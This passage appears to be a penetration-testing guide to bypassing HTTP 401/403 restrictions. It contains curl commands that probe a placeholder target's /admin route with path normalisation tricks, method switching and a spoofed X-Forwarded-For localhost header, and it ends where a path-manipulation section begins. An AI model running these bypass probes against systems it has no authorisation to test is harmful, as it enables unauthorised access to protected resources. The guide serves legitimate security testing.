401-403-bypass-techniques

401/403 Bypass Techniques

A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy, web server, framework) decide differently about the same request. The useful signal is a change in routing or protected content, not a status code alone.

When to Use

• A known route returns 401 Unauthorized or 403 Forbidden.
• A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
• Frontend and backend normalize paths, methods, or headers differently.
• IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
• Equivalent requests return different status, headers, or body, hinting at a routing differential.

Prerequisites

• An HTTP client that preserves raw paths: curl --path-as-is or Burp Repeater.
• A denied baseline request plus a marker for the expected protected content.
• Optional tooling: byp4xx, dirsearch, feroxbuster, Burp Intruder, nghttp, nc.

How to Run

TARGET="https://target.example"
PATH_DENIED="/admin"
OUTDIR="${OUTPUT_DIR:-./output}/401-403"
mkdir -p "$OUTDIR"

# Denied baseline: record status, headers, and body for comparison.
curl -sS --path-as-is --max-time 10 \
  -D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
  -w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
  "$TARGET$PATH_DENIED"

# Compare candidates against the baseline.
curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
curl -sS --path-as-is --max-time 10 -i -X OPTIONS "$TARGET$PATH_DENIED"
curl -sS --path-as-is --max-time 10 -i -H 'X-Forwarded-For: 127.0.0.1' "$TARGET$PATH_DENIED"

For each candidate, compare status, Location, body length, title, and a protected-content marker against the baseline.

Procedure

1. Path Manipulation Bypasses

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently. The ✓ marks request forms that commonly reach the backend through a different route; a 200 alone is not proof of access (see Verification).